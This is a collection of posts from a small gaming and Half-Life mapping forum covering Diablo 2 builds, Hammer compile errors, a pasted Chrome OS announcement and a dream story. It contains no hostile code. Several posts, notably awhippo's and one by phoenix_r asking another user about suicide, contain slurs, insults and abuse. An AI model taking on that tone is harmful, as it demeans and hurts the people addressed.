width="710" height="500"


You need to change that to a bigger number if you want the video to be bigger. Btw try getting a USB Flash Drive so that you can just move the files from your computer to the other.

In d2lod help by Mate de Vita:
aaronjer said:
...is that supposed to mean something?

Not really. Just that IGN apparently shares that person's opinion that an assassin can not and should not be a good character.
But I did go single player on the linux computer with the mod PlugY and am currently playing with your build of trap assassin from the beginning. The bad news is I'm at normal baal right now. The minions of destruction were really hard to kill but otherwise I haven't had problems with anything yet. We'll see how baal will be.
Also I'm a bit underleveled, usually I was about 38-40 here on sp (which is around the level of monsters), now I'm at 32. But it was all so easy I just kept on going through without stopping to level a bit.

In Runescape by CarsonDaly:
Mate de Vita said:
aaronjer said:
I don't even know what it is!

Probably a good sign.

It's something I played on my old computer where no other game worked for me.
Now I have 5 mil gp and I'd sell it on d2jsp but I'd have to first subscribe to RS and for a monthly subscription I'd pay around 8$. Then I would get around 200fg for the RS gold on d2jsp.
So it's not really a good trade.


200fg for countless hours of runescape? sounds like a sad banana. I'll tell you what, i'll give you 500 FG for your runescape gold. I'll send first and if you actually try and give me the runescape gold i will NEVER TALK TO YOU AGAIN. do we have a deal? d2jsp acct plox.

In google chrome OS by Down Rodeo:
I don't know that it will "fail hard", the number of computer-literate is rising.

In I was looking at posts I made a few years back. by CornJer:
No, as far as I can remember, the entire school routed through one computer, so either that or he came over to my house and did it one time. We had a bunch of people overstaying their welcome as well.

It honestly wasn't me though.

In I was looking at posts I made a few years back. by aaronjer:
The current IPs do suggest that to be true, but I sense you are attempting to alter our perception. I do not believe there was originally more than one IP assigned to either FallingShit or CornJer. It seems highly unlikely that you would both only post from the same school computer and from nowhere else over the period of what may have been several months. It is entirely possible that this is coincidental, but given the evidence I have chosen to believe you are attempting deception.

This also leads me to believe that you care whether or not we know you have multiple accounts and that you likely believe we care whether or not you have multiple accounts. We do not care. The only person I personally know on these boards who doesn't have more than one account (including myself) is Homeslice.

In Halo 3 by jrkookid:
Well playing on the computer and the Xbox is different. For Modern Warfare on the Xbox the connection is peer-to-peer, so if the host is laggy then you all lag. I Think

In Getting started in C++ - WARNING: may contain noob questions by Mate de Vita:
Down Rodeo said:
Check your home folder. There should be a file called "a.out" there which you can run with the terminal. Uh, there should also be a green arrow at the top of the screen, unless I'm thinking of another IDE.

K, will try that when I get to my linux computer.

Down Rodeo said:
So, tell us, what does it do? :D

This one is actually just the default start up script, which is int main() { printf("Hello World!\n"); return 0; }

Down Rodeo said:
And when you say, nothing happens, does it error at you, or just pull up another terminal line?

The latter, just pulls up another terminal line.

In Compile hangs by Muffles:
its like 5 large grid squares by 5 large grid squares, but I recently noticed my stand by coming on every hour, maybe that's the problem? cause it usually compiles I guess b4 the "stand by" on my laptop, but I recently added 2 cranes to my map about medium sized cranes, so maybe now it compiles over 1 hour and stand by slows it staggeringly? hanging at 60%. I dunno but I'm gonna take off my stand by option and see if it compiles fully. Wish me luck...
(Stand by is basically computer sleep mode, I'm sure you all know that :P)

In Compile hangs by Down Rodeo:
It could be that your computer is getting to the 60% mark and running out of RAM, therefore starting to have to use Virtual Memory (which is an area of your HDD and is thus a lot slower).

In d2lod help by Mate de Vita:
So, with my new computer I also got a Widescreen monitor, but now Diablo (having resolution 800x600) looks really weird. So is there any way to make it not be fullscreen or something so it would look normal?

In VHE Issues by Splunk:
So I reinstalled VHE on my new computer and I get an issue. I followed the configuration from my last computer which worked perfectly, but now it's looking for user.map in my Documents and Settings folder. Why is it doing that? Also, my log is there, I didn't put any Documents and Setting location in the config. They all go to Program Files.

This is my log. I made a simple hollow box, two people and a light. I used the config from this site. http://www.egir.dk/index.php?page=wc.htm (I used it before I found out about SuperJer.)

hlcsg v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlcsg -----
Command line: C:\zhlt\hlcsg.exe "c:\documents and settings\user"
Error: Error opening c:\documents and settings\user.map: No such file or directory

----- END hlcsg -----



hlbsp v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlbsp -----
Command line: C:\zhlt\hlbsp.exe "c:\documents and settings\user"
>> There was a problem compiling the map.
>> Check the file c:\documents and settings\user.log for the cause.

----- END hlbsp -----



hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: C:\zhlt\hlvis.exe "c:\documents and settings\user"
>> There was a problem compiling the map.
>> Check the file c:\documents and settings\user.log for the cause.

----- END hlvis -----



hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: C:\zhlt\hlrad.exe "c:\documents and settings\user"
>> There was a problem compiling the map.
>> Check the file c:\documents and settings\user.log for the cause.

----- END hlrad -----






In google chrome OS by goodwill221:
It's been an exciting nine months since we launched the Google Chrome browser. Already, over 30 million people use it regularly. We designed Google Chrome for people who live on the web — searching for information, checking email, catching up on the news, shopping or just staying in touch with friends. However, the operating systems that browsers run on were designed in an era where there was no web. So today, we're announcing a new project that's a natural extension of Google Chrome — the Google Chrome Operating System. It's our attempt to re-think what operating systems should be.

Google Chrome OS is an open source, lightweight operating system that will initially be targeted at netbooks. Later this year we will open-source its code, and netbooks running Google Chrome OS will be available for consumers in the second half of 2010. Because we're already talking to partners about the project, and we'll soon be working with the open source community, we wanted to share our vision now so everyone understands what we are trying to achieve.

Speed, simplicity and security are the key aspects of Google Chrome OS. We're designing the OS to be fast and lightweight, to start up and get you onto the web in a few seconds. The user interface is minimal to stay out of your way, and most of the user experience takes place on the web. And as we did for the Google Chrome browser, we are going back to the basics and completely redesigning the underlying security architecture of the OS so that users don't have to deal with viruses, malware and security updates. It should just work.

Google Chrome OS will run on both x86 as well as ARM chips and we are working with multiple OEMs to bring a number of netbooks to market next year. The software architecture is simple — Google Chrome running within a new windowing system on top of a Linux kernel. For application developers, the web is the platform. All web-based applications will automatically work and new applications can be written using your favorite web technologies. And of course, these apps will run not only on Google Chrome OS, but on any standards-based browser on Windows, Mac and Linux thereby giving developers the largest user base of any platform.

Google Chrome OS is a new project, separate from Android. Android was designed from the beginning to work across a variety of devices from phones to set-top boxes to netbooks. Google Chrome OS is being created for people who spend most of their time on the web, and is being designed to power computers ranging from small netbooks to full-size desktop systems. While there are areas where Google Chrome OS and Android overlap, we believe choice will drive innovation for the benefit of everyone, including Google.

We hear a lot from our users and their message is clear — computers need to get better. People want to get to their email instantly, without wasting time waiting for their computers to boot and browsers to start up. They want their computers to always run as fast as when they first bought them. They want their data to be accessible to them wherever they are and not have to worry about losing their computer or forgetting to back up files. Even more importantly, they don't want to spend hours configuring their computers to work with every new piece of hardware, or have to worry about constant software updates. And any time our users have a better computing experience, Google benefits as well by having happier users who are more likely to spend time on the Internet.

We have a lot of work to do, and we're definitely going to need a lot of help from the open source community to accomplish this vision. We're excited for what's to come and we hope you are too. Stay tuned for more updates in the fall and have a great summer.

In Runescape by Mate de Vita:
aaronjer said:
I don't even know what it is!

Probably a good sign.

It's something I played on my old computer where no other game worked for me.
Now I have 5 mil gp and I'd sell it on d2jsp but I'd have to first subscribe to RS and for a monthly subscription I'd pay around 8$. Then I would get around 200fg for the RS gold on d2jsp.
So it's not really a good trade.

In Left 4 dead online by jrkookid:
@Havokk
Make your own game and invite friends?

@john
Are you playing on the computer or on a game console and why did you quote your own post?

In Question about lag&compile by Strongkong:
Hi!
I made a fun map, most like just jumping, and it lags very. It can't be because it's big, it's a quarter of the full size of the full grid in VHE. I converted fun_allinone to .map, because i was interested how it's made, etc. I saw that it's the max size in VHE. And no lag. How can it be? And how can I reduce the compile time? I made another map, It's small, it's got 8 lights in it(7 lights, 1 light_enviroment). Ok, I started compile, went eat my dinner, ~15 minutes, and when I came back, Leafthread was at 50%... and it did not move... I waited another 5 minutes, and nothing. I don't have so bad computer, so it can't be because it. I don't want to delete the lights, because i need them, there's some kind of "Forest" in it, and that must be dark!
NEED HELP!!!
Thank you!
Strongkong

Edit: I use Valve Hammer Editor 3.5, expert fgd, zhlt253-17.

In d2lod help by Mate de Vita:
Now why would you go for the one guide that really sucks when you could've gone for this one that doesn't completely suck (only, why the HELL would you not want an Enigma on your trapsassin?)...
Or even better for the one AJ wrote?

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by Mate de Vita:
awhippo said:
lol your funny "ahwippo" so funny lol am holding my side o and stfu you sound like a nerd i just told him to redo the map bro forums is stupid lil 9 year old white kids talk shit lol i think i will be the bigger man " am sorry i hurt you feelings it is a grate map don't remake it you just play it man JUST PLAY it you can map i believe in you! jrkookid sorry that i was truthful and told you bf to remake a map i did not mean to am wrong your right god i with i was as cool as you that's why i hate one you man i just want to be like you YOUR GRATE!!


ps. The map was made wrong if you was a map maker you would know that and you would shut your fucking mouth.

pss. Look at the map fuck head its all fucked up. You want me to tell the truth he has tables to big grass as not a grass texture.
The spawns are to close if its a bomb map he should have ct in side t out not t and ct out side. But its a school map it should be cs map with hostages in side with ts and the cts has to go in a get the hostages. But the hall ways are to big the doorway to big the computer to big. Everything needs to be remade or edited if you want to remember your school the way it was do it right. If that is to mean or hurt your pore lil fillings am sorry your so sensitive.

psss. I was just trying the help the guy do it right. But if you don't like me i don't give a fuck.

Wow, wow, wow. Dude! It's just kookid! You don't need to get all emotional

In d2lod help by aaronjer:
the_cloud_system said:

and my trap assan is the shit cause of this

http://www.gamefaqs.com/computer/doswin/file/370600/13665

ty all


I had not looked at this before. Oh my god. That is a TERRIBLE guide. It is REALLY, REALLY bad. That guy clearly has NO idea what he's talking about. He's cutting his DPS down like a hyper-active retard in a lumber mill. If you have even 1/4th of a brain you should be able to understand this:

He uses Lightning Sentries, Death Sentries, and Inferno Sentries. He even considers using the blade skills. OH MY GOD. The poor synergies! What has he done?! He specifically says NOT to use Fire Blast, even though it is any respectable trappers permanent left-click attack... what exactly does he do with his left click?! Nothing apparently, I guess he just lays down 5 traps and stands there with his mouth hanging open? Well, that's half the damage of my build already! Honestly, I could pick this apart a LOT more, but I don't think I need to. If you paid any attention at all to my guide you can easily see that this build here does considerably less than half the DPS. It is really bad. If you actually built your character around that guide then delete your character and start the fuck over. That is NOT a how to make a Trapsassin guide, that is some kind of sick joke to torment noobs with.

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by awhippo:
lol your funny "ahwippo" so funny lol am holding my side o and stfu you sound like a nerd i just told him to redo the map bro forums is stupid lil 9 year old white kids talk shit lol i think i will be the bigger man " am sorry i hurt you feelings it is a grate map don't remake it you just play it man JUST PLAY it you can map i believe in you! jrkookid sorry that i was truthful and told you bf to remake a map i did not mean to am wrong your right god i with i was as cool as you that's why i hate one you man i just want to be like you YOUR GRATE!!


ps. The map was made wrong if you was a map maker you would know that and you would shut your fucking mouth.

pss. Look at the map fuck head its all fucked up. You want me to tell the truth he has tables to big grass as not a grass texture.
The spawns are to close if its a bomb map he should have ct in side t out not t and ct out side. But its a school map it should be cs map with hostages in side with ts and the cts has to go in a get the hostages. But the hall ways are to big the doorway to big the computer to big. Everything needs to be remade or edited if you want to remember your school the way it was do it right. If that is to mean or hurt your pore lil fillings am sorry your so sensitive.

psss. I was just trying the help the guy do it right. But if you don't like me i don't give a fuck.




In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by awhippo:
i right i seen this map and ..... theres no nice way of saying this but it sucks you need to learn how to make a map first and compile your self and wow wtf is up with the scale its like huge you has a block full or something err witch means you messed up something ether find it or make the map over and make it good if you want to make a map i mean you have doors with just a big box opening its really bad am not trying to be a dick just telling you what it is and make it scale to the person i mean the computer table was bigger then him..... just make it over and take your time


ps i just looked at the map for the 2nd time and i would us your map as a example of how not to make a map. just saying

In d2lod help by the_cloud_system:
all right


aaronjer said:

i love it ty

and my trap assan is the shit cause of this

http://www.gamefaqs.com/computer/doswin/file/370600/13665

ty all

In Compiling Error !!!! by Mate de Vita:
Nope, I don't have skype. Well, I do, but only on my linux computer where I have no hammer associated things.

In Help file placement by Da Fleegsta:
ahh thats why you were right. thanks :) for some reason every time i restart my computer, the files lose their extensions..

ehh it still doesnt work -.-

In d2lod help by Mate de Vita:
This guide good enough for a lit mf sorc?

EDIT: I have a jong bong or whatever staff on my hammerdin, now if I create a sorc, then can I somehow transfer it from the hammerdin to the sorc? Like create a game with the hammerdin, stay in it for five minutes, drop the staff, then change the character to the sorc and join the same game? Would that work (I read it somewhere)?

In YA by SolidKAYOS:
Mate de Vita said:
omg I'm such a dumbass :X
15:43:42 EDT
Mate de Vita said:
I tried to log in to battle.net from another computer and now I can't log in to US West any more.
15:43:50 EDT
Mate de Vita said:
And my brother says this is for 30 days...
15:43:53 EDT
Mate de Vita said:
30 DAYS!
15:44:16 EDT
Mate de Vita said:
I'm gonna kill someone at blizzard for this.
16:14:07 EDT
Mate de Vita said:
I was so angry I nearly strangled my cat.
16:14:18 EDT
Mate de Vita said:
And by nearly I mean I would've if I had one.
17:54:20 EDT
reece said:
you play too much wow then.
18:41:44 EDT
NatureJay said:
A girl sitting across from me in the lounge is methocially pressing Sun Chips into her mouth.
18:42:08 EDT
NatureJay said:
She stairs blankly into the the wall, seeming to take no heed of what is around her.

In i mades a new video! by turnip1:
Mate de Vita said:
superjer said:
BWNED!

Ah, he has a post count of 0 so that doesn't count as a post. Which means I was first in after superjer's post.



Well actually he is from the future and he posted with their new high tech computer shit that allows you to go on forums from the past and make posts but the post count doesn't show up until their current date

In d2lod help by phoenix_r:
So I just got home from our man-date at CJ Carlito's only to walk into a D2 LAN party at my house! A zookeeper, a hammerdin, an MF chargadin, a whirlwind barbarian, and hella computer demons - that's my kind of party!

In AllocFUCK: Full by turnip1:
This error is the most shittiest error ever. According to most people it has to do with bad scaled textures / to many entities also with clearly the AllocBlock being full... But i had just added a few guns to my map along with some railings, and a single platform no longer than 20 meters 1/2 a foot thick (in game.).
THEN THIS PIECE OF FUCK ERROR SHOWS UP LIKE WTF. So then i was like ok ill delete all my guns i just made to see if it works. Didn't work. So hen ok well ill delete the railings also... Didn't work. So then i was like wtf... So i deleted the Platform i had made which then made it the exact fucking same as it was before when i tested it (it worked fine then) BUT NOW IT STILL SAYS ALLOC BLOCK FULL! FFS. Like this is rediculous does anyone i mean anyone have any ideas that you think might help / work? BTW this map is about the size of well 3/4 of the inside of cs_assault? its fricken tiny.
This isnt a RAM problem becuase i have 4 gigs of it and its not my memory space 1.5 TB's and i have an intel quad core processor so it isn't my computer.... HELP ME! K

In Diablo 2 by Mate de Vita:
Havokk Edge said:
Mate de Vita said:
Look. Your computer can run Diablo 2. End of story.

Shd I play Diablo 1 before Diablo 2?

Not really...

phoenix_r said:
Aww read another one Papa Mate! Please? Puuuhhlllleeaaaassssssee?!

OK, here it is. Once upon a time there was a . He lived a happy life until one day there came a . And the was like and the was like . And while he was the went and ate all his tuna. So the was like and the was like . And then they were like . In the end one was and the other was and . And so ends a story of two . They lived happily ever before.

Now go to bed!

In lol cool i think by SolidKAYOS:
Dude WoW is gay. If you want a game that is challenging andhas better graphics and has a longer free trial get Final fantasy XI

If you get the PC version you can mod it and put nude stuff in there or just make your guy look cooler and shit. And can even change the music.

I do recommend you get a 360 controller for the PC tho it makes it much easier. But you cant use your mic unless you get your friends to use Skype at the same time then you need a computer mic.

360 version= Bigger screen and you just need a USB keyboard. And you can get on the mic in a xbox live party.


BUT! If you dont log out the right way (say your electric goes out) it may corrupt files for either system. It happend to me so much i had to by a new hard drive cause it not only fuckd up my ffxi files but my hard drive as well so i couldnt re download the updates.

In Diablo 2 by SolidKAYOS:
Mate de Vita said:
Look. Your computer can run Diablo 2. End of story.


Shd I play Diablo 1 before Diablo 2?

In Diablo 2 by phoenix_r:
Mate de Vita said:
Look. Your computer can run Diablo 2. End of story.


Aww read another one Papa Mate! Please? Puuuhhlllleeaaaassssssee?!

In i mades a new video! by phoenix_r:
</asshole>I think that it's super-awesome that you are able to generate income by doing something you love, and it must feel great to know that others love it too. I envy the self-confidence it takes to put yourself out there on the tubes for all to see. And shit, you inspired AaronJer and I to travel many miles just to eat at Carl's Jr. God I can't wait for that Western Star...<asshole>Nice use of circumlocution to avoid actually answering my questions! Your statement implies that your computer, amp, snazzy microphone, keyboard, camera, etc were all paid for by youtube bux - quite the catch-22. It also totally neglects my assertion that you are a "suburban upper-middle-class youth, in high school or possibly recently matriculated," as well as any response to my thoughts on the act of video-blogging. Meow.

In brush outside world etc... by Mate de Vita:
Sorry, but my CS+VHE computer is currently not working (to be precise the CPU is completely fucked up) so I'm on my linux computer. And there's no VHE for linux.

In Diablo 2 by Mate de Vita:
Look. Your computer can run Diablo 2. End of story.

In Diablo 2 by SolidKAYOS:
No I played FFXI on my Xbox 360. My computer lags abit playing Age of empires 3. I have a shitty graphics card i believe.

In Diablo 2 by Mate de Vita:
If your computer can run FFXI, it can run diablo2lod as well. Or at least it should.

In Diablo 2 by SolidKAYOS:
I used to play alot of Final Fantasy XI.

Hume Dragoon Level 72/Sub Job Samurai Lvl 36/or Blue Mage Level 36



By What i can remember my Jobs are:

Warrior Lvl 26
Red Mage Lvl 42
White Mage Lvl 21
Black Mage lvl 10
Thief lvl 18
Paladin lvl 21
Dark Knight lvl 13
Blue Mage lvl 38
Samurai lvl 37
Beastmaster lvl 2(Hated that job)
Dragoon lvl 72 ( <33 )
Ninja lvl 15
Ranger lvl 18

Dont remember anymore. I do remember i still had my Hakutaku eye cluster i bought for 250k gil so i could get my O hat for my DRG and no one would help me cause they are assholes even though i help their asses all the time so i left...

I never could get the Wings of the goddess expansion since i only had the other 3 i couldnt get Dancer. and I was not interested into getting Corsair or Puppetmaster. Corsair DID look fun but it was very fucking expensive for bullets.
Oh I was Rank 6 In Bastok. Ima a shadowlord killer two timer!

Maat was easy as cake. My first time fighting him though i forgot i didnt have my 2 hour so he whipped my ass. Well... actually i almost killed him.

I had my assault jerkin oh it was a beauty.

I still never got CoP done so i didnt have that badass ring.

Oh wait...this is a blizzard truck... haha...

SE sucks balls... Seriously. They never cared about the FFXI players that much.

I have always wanted to try Diablo out though. I never cared much for WoW. I doubt my computer can run either of them.


In i mades a new video! by phoenix_r:
DaveDays said:
I inspired people.


Good job, Daveyboy! I'm unsure if I love or hate you. You don't really want either, though. Your possessions, personal appearance and demeanor suggest suburban upper-middle-class youth, in high school or possibly recently matriculated. Mommy bought you all that nice musical equipment, and the camera? Nevermind the computer that integrates it all and enables you to share your 'creations.'

Videoblogging is an interesting juxtaposition of values - the diary or journal, being one of the roots of the modern blog, has an inherent aspect of privacy which stands in stark contrast next to a sort of idiot-savant grindhouse auteurism - "watch me watch me know me love me?!" While I could never do it, I have to respect somebody (pay attention now Davey, because in this case, it's YOU!) for putting themselves out there so much. Keep doing it.

aaronjer said:
Honestly, yes. If I have time this weekend we should totally go to a Carl's Jr.


What takes up your time? Jobmachine, socialfest, or just reprogramming the robots from our last failed...attempt..?!

Also, I was thinking of asking Davey if he wanted to come to Marysville with us. It's a bit of a drive for him but he's just such a darned nice kid! Hope that's O.K.

http://www.youtube.com/watch?v=Yr09fYxQXMU

End of truck.

In d2lod help by Mate de Vita:
aaronjer said:
As far as fire sorceress spells go, I'd say that Fireball is the best choice for your main attack, couple that with as much FCR as you can and you will turn into what people call a 'Machine Gun Sorceress'.

FCR = faster cast rate? I may try that...

aaronjer said:
Also... is there a reason you don't play on Battle.net? Does it not work with your connection or something? Singleplayer is terrible, really, even if you want to play on your own the whole time. Just being on Battle.net means you can at least trade items between your own characters... I mean, you can't even mule items in singleplayer. Pretty lame...

I had a dial-up connection when I started playing diablo 2 and this was my first character.
I did have some characters on battle.net but then I suddenly stopped playing diablo for a long time and they all expired. Like the pudding I kept in my fridge for a month and a half.

I can still trade between my own characters on TCP/IP (I have two computers with diablo). So I just copy a character savegame to the other computer and trade from there. That's how I got a Swordguard Colossus Blade (which requires a pul and a lum rune, both of which I can only get in the Hellforge after destroying Mephisto's soulstone).

In Check out my maps (not advertising) by Mate de Vita:
I'd try them out if my CS+VHE computer was working. But as it isn't, unfortunately I can't.

In d2lod help by Mate de Vita:
lolz assassin noob

http://www.gamefaqs.com/computer/doswin/game/370600.html
pick your poison (I wouldn't recommend traps although they can be deadly if you use them right. I think. But since you won't use them right anyway...).

I went with martial arts but only got as far as 4th act on normal. Then I got bored and stopped playing the assassin. But I liked it while it lasted...

If you want to solo the game, go with a Charge Paladin (max charge, zeal and foh, put some points into salvation, fantacism and redemption). Makes the entire game as easy as your mother.

In Dream Time by aaronjer:
Alright, look... I just had this dream where I was trying to prove to my boss (the head of some space technology company) that I knew the whereabouts of all the lost works of one Professor Vaughn. He was an elusive scientist, a genius inventor and always on the fringes of the law and known space.

I had actually been to Vaughn's secret underground space laboratory before, and although I was never actually told the location it didn't matter. Apparently everyone already knew where his lab USED to be, they just couldn't figure out where it had gone. I knew that for whatever reason you had to go to a specific set of seemingly unrelated coordinates first and THEN go to where the lab was or it wouldn't be there.

Strangely, my method of travel was just floating freely in space with no sort of protection. I would simply will myself in the direction I wished to go and I would travel there as fast as any space vessel. My boss, an angry looking, short and bald man was inside a company vessel. With him were a few technicians and... SuperJer. SuperJer had also apparently been to Professor Vaughn's secret lab. At least he better have, otherwise he had no reason to be tagging along! After making our way to a wandering planet, nearly impossible to see in the darkness, we turned towards the lab.

The lab was immediately obvious upon arrival. It was a metallic structure made of a cylinder encircled by three rings spaced evenly apart. On the center ring on each side there was a set of guns that were significantly larger than the ship everyone else was travelling in. They turned towards the ship and opened fire. Luckily the shots were slow-moving and easy to dodge... probably some kind of anti-capital ship PURASUMA!!! weapon. While the boss was busy dancing about like a god damn fairy in his space cruiser I floated down to the guns and flipped an extremely conspicuous on/off switch. The guns indeed stopped firing.

We apparently docked somewhere and made our way inside the lab. Everyone was very excited to see what valuable technologies we might acquire in our plundering raid... the lab looked nothing like how I remembered it other than the shape. I had been expecting walls of terminals and machinery, half-finished devices and robots and the occasional extremely dangerous security mechanism. Instead I found an underfurnished living room adjoined to a dining room with one of those fake gas-powered fireplaces. The boss was so wholly unimpressed he decided to go back to his ship and shout for a while. The technicians looked bored and just sat around... but SuperJer and I... we knew better. There had to be some strange trick to finding the actual lab. Our first idea was to check places where the real lab had secret containers. Upon inspection we found all of them. A row of five in the living room and 3 more on the floor between the living room and the dining room. All of them were empty save one. It contained an old paperback book on magic tricks for kids. I was now thoroughly annoyed, but SuperJer quickly scanned the pages for anything of interest. Part of one trick was circled, the part detailed the need to show a decoy while the real trick was hidden from view.

For obvious reasons I jumped back into space to search for the actual lab. I emitted some kind of wide spread pulse from my body in various directions until I saw a distortion in space. I emitted a much stronger pulse towards the distortion and a new structure slowly revealed itself through a dispersing black, inky cloud. The structure was identical to the decoy structure except that it was positively bristling with weaponry. Missile launchers, lasers and machine guns of all sizes were slapped on this thing in no sort of symmetrical fashion. It still had giant PURASUMA cannons as well, although they looked sleeker and more dangerous. I quickly floated in towards the PURASUMA cannons, the various turrets all opened fire. I emitted that pulse again and it caused all forms of fire to hang in place for a couple seconds before continuing on their trajectory, making it a simple matter to avoid them. The same overly conspicuous on/off switch was placed on the cannons, but the "on" and "off" were replaced with an angry smiley face and a happy smiley face. Upon flipping the switch all the external defenses deactivated.

Everyone was now inside the real space lab of Professor Vaughn. I told everyone that the security in the place would only recognize Vaughn and would use lethal force on anyone else who entered. I went out of the airlock and into the first security checkpoint before anyone else. I was armed with a semi-automatic pistol and a combat knife... strangely low-tech given the setting. A very tall (6'9" or so) thin man in a light tan jumpsuit and a motorcycle helmet blocked my path. He had an enormous dog. The dog was at least 5 feet tall, and was a very shaggy looking golden retriever of the same tan color of the man's jumpsuit. The dog also hand an antenna sticking out of it's forehead and a collar that had the name Mary on it. He held out his hand as if to motion that I should not progress, the dog looked completely unmenacing. Without a second thought I shot the man in the knees and then shot the dog's antenna off. The dog still had the same unmenacing look, but it bit down on the man's torso and started shaking him about. He screamed "Mary, noooooo!" but the dog just kepting flailing him about like a rag doll. The stress had caused a lot of hemorrhaging and his organs were spilling out on the floor. I shot the dog in the head and it dropped to the floor motionless. I shot it three more times just to make sure it was dead, and then shot the tall man twice more in the chest. He still wasn't quite dead, but I just left him there. That amounted to all of the security in the lab.

Past the security checkpoint the laboratory waited. It really was full of all the things I had expected, but the whole place was powered down. A single red light blinked at the far end of the lab where it was too dark to see anything. There were drawers you could pull out by the red light with motherboard looking computer parts and many criss-crossing wires. I held up a flashlight and SuperJer and one of the technicians worked on switching them around in some fashion I didn't understand. Eventually the light turned green and power was restored to the lab. We were now able to see that this whole end of the lab was filled with the skeletal remains of people in lab coats. The boss just pointed at them and screamed loudly. He wouldn't stop screaming, he never even took a breath. SuperJer then turned to me and looked somewhat disappointed while he said, "We better get back to the car wash."

Then I woke up.

In Error: Exceeded MAX_MAP_CLIPNODES by Mate de Vita:
bandora said:
P.S. I don't use a batch file to compile the map.. I do it directly from VHE.. For some odd reason it works for me that way better than using a batch file.. But I have a feeling I am going to need to compile this map using a batch file. :D

It's usually better to compile using a batch file as hammer requires way more resources to put it simply.

bandora said:
P.P.S.: KD that webpage you gave me says this: "then the #1 fix is running HLRAD with the -sparse flag - but compile will be slower." How do I do that?? what's the -sparse flag-?

In the hlrad line of your batch file write hlrad -sparse mapname

bandora said:
P.P.S.(1): Should I post the rmf/map with the wads and you guys can look at it and if u can make a quick fix if you see something wrong with it? Like can you guys do that for me? Maybe there's something that I am doing wrong? And btw the textures etc on those decompiled maps, I will redo them and make them better.. but I am talking about the outter walls, skies.. etc. Btw what I have now is a lot different than the first rmf.. in fact I am going to take that link off.

Well, I would but the computer on which I have VHE and everything else is currently in the state of fucked up (to be more precise the CPU fan isn't working properly) so unfortunately I can't help you there.

In by aaronjer:
It's all for the better, I would have deleted your entire computer if you'd continued the quote chain. I have a powerful hatred for quote chains.

In Whatever.... by awhippo:
phoenix_r said:
Like I said, the main reason for my post in user discussions was because it's a fedex_ truck, and I can seldom resist a pun. Of course the second reason still holds true. Have you considered suicide?



lol your funny man what first grade? second man your a hoot and a half o and for the person who made the post stop crying its the internet everyone knows internet has a lot of 2 things porn and dick head that talk shit on the computer because he is just a no pussy getting mother fucker. get over it and just think the kid want say shit in real like because he is a pussy.

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by AntonFifty:
Yeah, well I ain't pro.
This is actually my first map and I really hope I can finish it, or atleast get someone who can help me with it.

I would've figured it out myself if I had a proper computer^^

But thanks once again!

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by AntonFifty:
Oh, well thanks for trying.
And good luck tomorrow =P

The reason why I can't do it, is because of my computer.
It has 256MB RAM so everytime I try to compile it, I get error that I run out of swap files, and the compiling stops.
So...yeah.

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by Mate de Vita:
Well, my computer is currently successfully pissing me off (I almost set it on fire by accident - my fan stopped working and it overheated...) but I'm compiling it right now. I just hope it'll finish the process without crashing...

Anyway, I forget, why can't you compile it yourself? You don't know how or you actually can't?

EDIT: sorry but my computer crahsed during compile... I'll have to clean it up and try again. But I'm going to bed now, I've had enough of it. I'll try again tomorrow.

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by Mate de Vita:
If you have the finished compilable version of the game, post it here and I'll try to compile it. But I won't go fixing any errors in the map because it lags my computer like hell if I load your map into VHE.

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by AntonFifty:
Maybe it is my computer that has to little RAM? I only have 256MB... but if you also get the same error and has more RAM then me; then it probably is the map O.o

In [Reward!] Compile CS map from Valve Hammer Editor [Reward!] by AntonFifty:
Thanks, a guy did it for me :D

http://www.mediafire.com/?sharekey=1bfade5227510d407f7ec40ada4772a6e04e75f6e8ebb871

One problem;
I get an error saying "AllocBlock full" while loading the game.
I've tried to reboot my computer, but I still get the same error when I tried again.

What does that mean? Could you guys try the map and see if you get the same error please?

In ATI graphic cards by Down Rodeo:
I had an ATi RAGE on my old PC. It was only about 2 MB. But then, this computer is ten years old. I now have an ATi 1650 Pro which is not hefty enough for my liking. I want an nVidia 290, perhaps.

In ATI graphic cards by Mate de Vita:
Well you can get legacy drivers but they're not supported anymore. So if you have a problem, you have no one to turn to.
Anyway I have an ATI RAGE 128Pro card on my computer and I tried installing the legacy driver for it but it doesn't work. Says it's not compatible...

In Megaman by Mate de Vita:
Does anyone know where I can get me a megaman x4 for computer? I had it a few years back but I got it from a friend and neither of us has any idea where he got it. Torrents are not an option, none of them download more than 10%.

In Champions Online by Mate de Vita:
Goddamn trials! Every single mmorpg that's free either completely sucks ass or it's a trial. Or it has system requirements that are too high for my computer (not that that's saying a lot...).

In Dream Time by NatureJay:
I have night terrors or something sometime. I usually sleep on my stomach and sometimes I wake up lying on my back with my arms reaching out in the air. My grandpa apparently did some similar things when he was sleeping. He'd put his hands together and slowly move them into the air like he was doing a breaststroke or something and then he'd drop them to either side. My grandma would get kind of pissed about that, but she'd just find another place to sleep. My dad (other side of the family, that was my maternal grandpa) also sometimes does this machine gun thing while he's sleeping, but that's PTSD, so it could be different. I don't know, either way it seems like I'm genetically predisposed to doing something weird when I'm sleeping.


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You guys!

